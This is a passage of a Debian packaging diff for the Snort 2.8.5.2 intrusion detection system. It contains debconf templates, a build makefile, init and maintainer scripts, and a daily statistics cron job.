+  mysql> UPDATE `schema` SET ctime=now();
+
+  psql> ALTER TABLE sensor ADD last_cid INT8;
+  psql> UPDATE schema SET vseq=106;
+  psql> UPDATE schema SET ctime=now();
+
+FINAL NOTE
+----------
+
+These changes have to be made as Database administrator. For MySQL
+you can use the debian-sys-maint's password available at
+/etc/mysql/debian.cnf and connect like this to fix the database:
+
+    mysql -u debian-sys-maint -h localhost -p SNORT_DB
+
+Where SNORT_DB is the name of your alert database (typically 'snort')
+
+For PostgreSQL you can 'su' to the postgres user in the system
+the database is installed in and run 
+
+    psql -h localhost -p SNORT_DB
+
+--- Javier Fernandez-Sanguino <jfs@debian.org> Thu, 01 May 2008 22:22:21 +0200
+
--- snort-2.8.5.2.orig/debian/snort-inline.templates
+++ snort-2.8.5.2/debian/snort-inline.templates
@@ -0,0 +1,114 @@
+Template: snort-inline/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-inline/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-inline/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-inline/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-inline/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-inline/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-inline/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-inline/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-inline/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-inline/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-inline/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-inline/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
--- snort-2.8.5.2.orig/debian/snort-mysql.manpages
+++ snort-2.8.5.2/debian/snort-mysql.manpages
@@ -0,0 +1 @@
+snort.8
--- snort-2.8.5.2.orig/debian/rules.inline
+++ snort-2.8.5.2/debian/rules.inline
@@ -0,0 +1,244 @@
+#!/usr/bin/make -f
+#-*- makefile -*-
+# Made with the aid of dh_make, by Craig Small
+# Sample debian/rules that uses debhelper. GNU copyright 1997 by Joey Hess.
+# Some lines taken from debmake, by Christoph Lameter.
+
+export DH_VERBOSE=1
+
+TMP=`pwd`/debian
+
+CFLAGS:=-g -O2 -D_GNU_SOURCE
+
+ifneq (,$(findstring debug,$(DEB_BUILD_OPTIONS)))
+	CFLAGS += -g
+endif
+ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS)))
+	INSTALL_PROGRAM += -s
+endif
+
+export CFLAGS
+
+CONFFLAGS= --prefix=/usr \
+	--bindir=\$$\{exec_prefix\}/sbin \
+	--mandir=\$$\{exec_prefix\}/share/man \
+	--enable-smbalerts 
+# Cannot enable flexresp since it builds only with libnet 1.0.2a
+#	--enable-flexresp \
+
+build-indep: build-indep-stamp
+build-indep-stamp:
+	dh_testdir
+	cd doc && make snort_manual.pdf
+
+build-mysql: build-mysql-stamp
+build-mysql-stamp:
+	dh_testdir
+	# MySQL package:
+	./configure $(CONFFLAGS) \
+		--with-mysql \
+		--without-postgresql
+	$(MAKE) 
+	mv src/snort src/snort-mysql
+	$(MAKE) clean
+
+build-pgsql: build-pgsql-stamp
+build-pgsql-stamp:
+	dh_testdir
+	# PostgreSQL package:
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--with-postgresql \
+		--with-pgsql-includes=`pg_config --includedir`
+	$(MAKE) 
+	mv src/snort src/snort-pgsql
+	$(MAKE) clean
+
+build-inline: build-inline-stamp
+build-inline-stamp:
+	dh_testdir
+	# Inline support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-inline \
+		--with-libipq-includes=/usr/include/libipq/ \
+		--enable-prelude 
+	# Add here commands to compile the package.
+	$(MAKE) 
+	mv src/snort src/snort-inline
+	$(MAKE) clean
+
+build: build-stamp
+build-stamp: build-pgsql build-mysql
+	dh_testdir
+
+	# Standard package support
+	./configure $(CONFFLAGS) \
+		--without-mysql \
+		--without-postgresql \
+		--enable-prelude 
+	$(MAKE) 
+	$(MAKE) clean
+
+	# Build the documentation
+	cd doc && $(MAKE) faq.pdf
+
+	touch build-stamp
+
+clean:
+	dh_testdir
+	dh_testroot
+	rm -f build*stamp install-stamp
+
+	# Add here commands to clean up after the build process.
+	-(cd doc && $(MAKE) distclean)
+	-$(MAKE) distclean
+	rm -f src/snort-mysql
+	rm -f src/snort-pgsql
+	rm -f src/snort-inline
+	rm -f doc/snort_manual.{pdf,ps,aux,log,toc}
+
+	dh_clean
+
+install: install-stamp
+install-stamp: build-stamp
+	dh_testdir
+	dh_testroot
+	dh_clean -k
+	dh_installdirs
+
+	# Add here commands to install the package into debian/tmp.
+	$(MAKE) install prefix=$(TMP)/snort-common/usr/
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-mysql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-pgsql/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort-inline/etc/init.d/snort
+	install -m 755 -o root -g root `pwd`/debian/snort.init.d $(TMP)/snort/etc/init.d/snort
+
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-mysql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-pgsql/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort-inline/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-up.d $(TMP)/snort/etc/ppp/ip-up.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-mysql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-pgsql/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort-inline/etc/ppp/ip-down.d/snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort.ip-down.d $(TMP)/snort/etc/ppp/ip-down.d/snort
+	rm -rf $(TMP)/snort-common/etc/ppp
+	
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-mysql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort-pgsql/etc/snort/snort.common.parameters
+#	install -m 644 -o root -g root `pwd`/debian/snort.common.parameters $(TMP)/snort/etc/snort/snort.common.parameters
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-mysql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-pgsql/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort-inline/etc/default/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.default $(TMP)/snort/etc/default/snort
+
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-mysql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-pgsql/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort-inline/etc/logrotate.d/snort
+	install -m 644 -o root -g root `pwd`/debian/snort.logrotate $(TMP)/snort/etc/logrotate.d/snort
+
+	install -m 755 -o root -g root `pwd`/debian/snort.cron.daily $(TMP)/snort-common/etc/cron.daily/5snort
+	install -m 755 -o root -g root `pwd`/debian/my/snort-stat $(TMP)/snort-common/usr/sbin/
+	install -m 644 -o root -g root `pwd`/etc/snort.conf $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/unicode.map $(TMP)/snort-common/etc/snort/
+	install -m 644 -o root -g root `pwd`/etc/threshold.conf $(TMP)/snort-common/etc/snort/
+
+	cp rules/*.rules $(TMP)/snort-rules-default/etc/snort/rules/
+#	mkdir -p $(TMP)/snort-rules-default/usr/share/snort/
+#	install -m 644 -o root -g root `pwd`/debian/oldrules.md5 $(TMP)/snort-rules-default/usr/share/snort/oldrules.md5
+	
+	cp etc/sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/gen-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/community-sid-msg.map $(TMP)/snort-rules-default/etc/snort/
+	cp etc/classification.config $(TMP)/snort-rules-default/etc/snort/
+	cp etc/reference.config $(TMP)/snort-rules-default/etc/snort/
+
+	mv src/snort-mysql $(TMP)/snort-mysql/usr/sbin/snort
+	mv src/snort-pgsql $(TMP)/snort-pgsql/usr/sbin/snort
+	mv src/snort	   $(TMP)/snort-inline/usr/sbin/snort
+
+	mv $(TMP)/snort-common/usr/sbin/snort $(TMP)/snort/usr/sbin/snort
+
+	touch install-stamp
+
+# Build architecture-independent files here.
+binary-indep: build build-indep install
+	dh_testdir -i
+	dh_testroot -i
+
+	dh_installdocs -i
+	dh_installexamples -i
+	dh_installdebconf -i
+	dh_installman -i 
+	# Other adjustments
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/CVS
+	rm -rf $(TMP)/snort-doc/usr/share/doc/snort-doc/contrib/CVS
+	chmod +x $(TMP)/snort-common/usr/share/doc/snort-doc/examples/snort*
+	cp -a doc/signatures/ $(TMP)/snort-doc/usr/share/doc/snort-doc/
+	rm -rf $(TMP)/snort-doc/usr/share/man
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	dh_undocumented -i
+	rm -rf $(TMP)/snort-common/usr/share/man/man8/snort.*
+	dh_installchangelogs -i ChangeLog
+	dh_link -i
+	dh_strip -i
+	dh_compress -i
+	dh_fixperms -i
+	dh_suidregister -i
+	dh_makeshlibs -i
+	dh_installdeb -i
+	dh_perl -i
+	dh_shlibdeps -i
+	dh_gencontrol -i
+	dh_md5sums -i
+	dh_builddeb -i
+
+# Build architecture-dependent files here.
+binary-arch: build install
+	dh_testdir -a
+	dh_testroot -a
+	dh_installdocs -a 
+	dh_installexamples -a
+	dh_installdebconf -a
+	dh_installman -a 
+	cp $(TMP)/snort-mysql/usr/share/doc/snort-mysql/copyright $(TMP)/snort/usr/share/doc/snort/
+	rm -f $(TMP)/snort-mysql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-pgsql/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-inline/usr/share/man/man8/snort-stat.*
+	rm -rf $(TMP)/snort-rules-default/usr/share/man
+	rm -f $(TMP)/snort/usr/share/man/man8/snort-stat.*
+	rm -f $(TMP)/snort-common/usr/share/man/man8/snort.*
+	
+	mkdir -p $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+	install -m 644 -o root -g root schemas/create_mysql $(TMP)/snort-mysql/usr/share/doc/snort-mysql/
+
+	mkdir -p $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+	install -m 644 -o root -g root schemas/create_postgresql $(TMP)/snort-pgsql/usr/share/doc/snort-pgsql/
+
+	dh_undocumented -a
+	dh_installchangelogs -a ChangeLog
+	dh_link -a
+	dh_strip -a
+	dh_compress -a
+	dh_fixperms -a
+	dh_suidregister -a
+	dh_makeshlibs -a
+	dh_installdeb -a
+	dh_perl -a
+	dh_shlibdeps -a
+	dh_gencontrol -a
+	dh_md5sums -a
+	dh_builddeb -a
+
+source diff:                                                                  
+	@echo >&2 'source and diff are obsolete - use dpkg-source -b'; false
+
+update-rules:
+	mv rules rules.old
+	wget -q -O ../snortrules-snapshot-2_2.tar.gz http://www.snort.org/dl/rules/snortrules-snapshot-2_2.tar.gz
+	tar -zxf ../snortrules-snapshot-2_2.tar.gz
+	if [ -d rules ] ; then mv rules.old/Makefile* rules/; rm -rf rules.old; fi
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary
--- snort-2.8.5.2.orig/debian/snort-inline.init.d
+++ snort-2.8.5.2/debian/snort-inline.init.d
@@ -0,0 +1,256 @@
+#!/bin/sh -e
+
+test $DEBIAN_SCRIPT_DEBUG && set -v -x
+
+DAEMON=/usr/sbin/snort
+NAME=snort
+DESC="Network Intrusion Detection System"
+
+CONFIG=/etc/snort/snort.debian.conf
+# Old (obsolete) way to provide parameters
+if [ -r /etc/snort/snort.common.parameters ] ; then
+	COMMON=`cat /etc/snort/snort.common.parameters`
+elif [ -r /etc/default/snort ] ; then
+# Only read this if the old configuration is not present
+	. /etc/default/snort
+	COMMON="$PARAMS -l $LOGDIR -u $SNORTUSER -g $SNORTGROUP"
+fi
+
+test -x $DAEMON || exit 0
+test -f $CONFIG && . $CONFIG
+test -z "$DEBIAN_SNORT_HOME_NET" && DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+
+# to find the lib files
+cd /etc/snort
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+	# If we cannot determine the logdir return without error
+	# (we will not check it)
+	# This will only be used by people using /etc/default/snort
+	[ -n "$LOGDIR" ] || return 0
+	[ -n "$SNORTUSER" ] || return 0
+	if [ ! -e "$LOGDIR" ] ; then
+		echo -n "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	elif [ ! -d "$LOGDIR" ] ; then
+		echo -n "ERR: logging directory $LOGDIR does not exist"
+		return 1
+	else
+		real_log_user=`stat -c %U $LOGDIR`
+	# An alternative way is to check if the snort user can create 
+	# a file there...
+		if [ "$real_log_user" != "$SNORTUSER" ] ; then
+			echo -n "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+			return 1
+		fi
+	fi
+	return 0
+}
+
+case "$1" in
+  start)
+        if [ -e /etc/snort/db-pending-config ] ; then
+		echo "WARN: /etc/snort/db-pending-config file found"
+		echo "WARN: Snort will not start as its database is not yet configured."
+		echo "WARN: Please configure the database as described in"
+		echo "WARN: /usr/share/doc/snort-{pgsql,mysql}/README-database.Debian"
+		echo "WARN: and remove /etc/snort/db-pending-config"
+		exit 1
+	fi
+
+	echo -n "Starting $DESC: "
+        if ! check_log_dir; then
+		echo " will not start $DESC!"
+		exit 1
+	fi
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-up.d/snort "$@"
+		exit $?
+	fi
+
+	# Usually, we start all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+
+	# If we are requested to start a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		echo -n "$NAME($interface)"
+
+		PIDFILE=/var/run/snort_$interface.pid
+
+		fail="failed (check /var/log/daemon.log)"
+		/sbin/start-stop-daemon --stop --signal 0 --quiet \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null &&
+				fail="already running"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			echo "using /etc/snort/snort.conf"
+			CONFIGFILE=/etc/snort/snort.conf
+		else
+			echo "using /etc/snort/snort.$interface.conf"
+                fi
+
+		set +e
+		/sbin/start-stop-daemon --start --quiet --pidfile "$PIDFILE" \
+			--exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				echo "."
+				;;
+			*)
+				echo "...$fail."
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be started!" >&2
+		exit 1
+	fi
+
+	exit $myret
+	;;
+  stop)
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		shift
+		set +e
+		/etc/ppp/ip-down.d/snort "$@"
+		exit $?
+	fi
+
+	# Usually, we stop all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to stop a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+
+		echo -n "Stopping $DESC: $NAME($interface)"
+
+		/sbin/start-stop-daemon --stop --retry 5 --quiet --oknodo \
+			--pidfile "$PIDFILE" --exec $DAEMON >/dev/null
+		rm -f "$PIDFILE"
+
+		echo "."
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be stopped!" >&2
+	fi
+	;;
+  restart|force-restart|reload|force-reload)
+	# Usually, we restart all current running interfaces
+	pidpattern=/var/run/snort_*.pid
+
+	# If we are requested to restart a specific interface...
+	test "$2" && pidpattern=/var/run/snort_"$2".pid
+
+	got_instance=0
+	for PIDFILE in $pidpattern; do
+		# This check is also needed, if the above pattern doesn't match
+		test -f "$PIDFILE" || continue
+
+		got_instance=1
+		interface=$(basename "$PIDFILE" .pid | sed -e 's/^snort_//')
+		$0 stop $interface || true
+		$0 start $interface || true
+	done
+
+	if [ "$got_instance" = 0 ]; then
+		echo "No snort instance found to be restarted!" >&2
+	fi
+	;;
+  status)
+        echo -n "Status of snort daemon(s):"
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# If we are requested to check for a specific interface...
+	test "$2" && interfaces="$2"
+	for interface in $interfaces; do
+                echo -n " $interface "
+                pidfile=/var/run/snort_$interface.pid
+                if [ -f  "$pidfile" ] ; then
+ 	                pidval=`cat $pidfile`
+		        if ps -p $pidval | grep -q snort; then
+		       		echo -n "(ok)"
+			else
+				echo -n "(nok!)"
+			fi
+                 else
+                        echo -n "(nok!)"
+                 fi
+        done
+        echo "."
+        ;;
+  config-check)
+	if [ "$DEBIAN_SNORT_STARTUP" = "dialup" ]; then
+		echo "Config-check is currently not supported for snort in Dialup configuration"
+		exit 0
+	fi
+
+	# usually, we test all interfaces
+	interfaces="$DEBIAN_SNORT_INTERFACE"
+	# if we are requested to test a specific interface...
+	test "$2" && interfaces="$2"
+
+	myret=0
+	got_instance=0
+	for interface in $interfaces; do
+		got_instance=1
+		echo -n "checking $desc config: $name($interface)"
+
+		CONFIGFILE=/etc/snort/snort.$interface.conf
+		if [ ! -e "$CONFIGFILE" ]; then
+			CONFIGFILE=/etc/snort/snort.conf
+		fi
+		COMMON=`echo $COMMON | sed -e 's/-D//'`
+		set +e
+		$DAEMON -T $COMMON $DEBIAN_SNORT_OPTIONS \
+			-c $CONFIGFILE \
+			-S "HOME_NET=[$DEBIAN_SNORT_HOME_NET]" \
+			-i $interface >/dev/null 2>&1
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				echo ".ok."
+				;;
+			*)
+				echo "...failed."
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	done
+	if [ "$got_instance" = 0 ]; then
+		echo "no snort instance found to be started!" >&2
+		exit 1
+	fi
+
+	exit $myret
+	;;
+  *)
+	echo "Usage: $0 {start|stop|restart|force-restart|reload|force-reload|status|config-check}"
+	exit 1
+	;;
+esac
+exit 0
--- snort-2.8.5.2.orig/debian/snort-inline.postrm
+++ snort-2.8.5.2/debian/snort-inline.postrm
@@ -0,0 +1,63 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.8.5.2.orig/debian/snort-mysql.preinst
+++ snort-2.8.5.2/debian/snort-mysql.preinst
@@ -0,0 +1,119 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+	# If this is the first time we are installation then create
+	# the /etc/snort/db-pending-config
+	if [ "$1" = "install" ] && [ -z "$2" ] ; then
+	touch /etc/snort/db-pending-config
+	fi
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort.dirs
+++ snort-2.8.5.2/debian/snort.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.8.5.2.orig/debian/snort-inline.dirs
+++ snort-2.8.5.2/debian/snort-inline.dirs
@@ -0,0 +1,9 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.8.5.2.orig/debian/snort-doc.doc-base.manual
+++ snort-2.8.5.2/debian/snort-doc.doc-base.manual
@@ -0,0 +1,11 @@
+Document: snort-manual
+Title: Snort Users Manual
+Author: Martin Roesch
+Abstract: Users manual to the Snort NIDS
+ The users manual to the Snort network intrusion detection system,
+ providing an overview of snort and how to write rule files for it.
+Section: Network/Monitoring
+
+Format: pdf
+Files: /usr/share/doc/snort-doc/snort_manual.pdf.gz
+
--- snort-2.8.5.2.orig/debian/snort.cron.daily
+++ snort-2.8.5.2/debian/snort.cron.daily
@@ -0,0 +1,35 @@
+#!/bin/sh -e
+
+test -f /usr/sbin/snort || exit 0
+
+LOGFILE=/var/log/snort/alert
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+CONFIG=/etc/snort/snort.debian.conf
+. $CONFIG
+
+# Don't generate stats if we are configured not to
+[ "$DEBIAN_SNORT_SEND_STATS" = "false" ] && exit 0
+
+export DEBIAN_SNORT_STATS_RCPT DEBIAN_SNORT_STATS_THRESHOLD
+
+# Just in case it's not properly configured for whatever reason
+[ -z "$DEBIAN_SNORT_STATS_THRESHOLD" ] && DEBIAN_SNORT_STATS_THRESHOLD=1
+[ -z "$DEBIAN_SNORT_STATS_RCPT" ] && DEBIAN_SNORT_STATS_RCPT=root
+
+# Cannot use logrotate to rotate these logfiles...
+# 'rotate' saved RAW-Ethernet streams
+# New snort has different naming scheme, old one still here for upgrades
+find /var/log/snort -name "snort-*@*.log" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "tcpdump.log.*" -mtime +15 | xargs --no-run-if-empty rm
+find /var/log/snort -name "snort.log.*" -mtime +15 | xargs --no-run-if-empty rm
+
+# Mail snort stats
+if [ -s $LOGFILE ]; then
+	(echo "To: $DEBIAN_SNORT_STATS_RCPT"; snort-stat -a -t $DEBIAN_SNORT_STATS_THRESHOLD < $LOGFILE) | sendmail -t
+fi
+
+# Restarting snort is now handled by the logrotate configuration.
+# The 'intelligence' of not to start in certain startup-modes moved
+# to the init.d script as well.
+
+exit 0
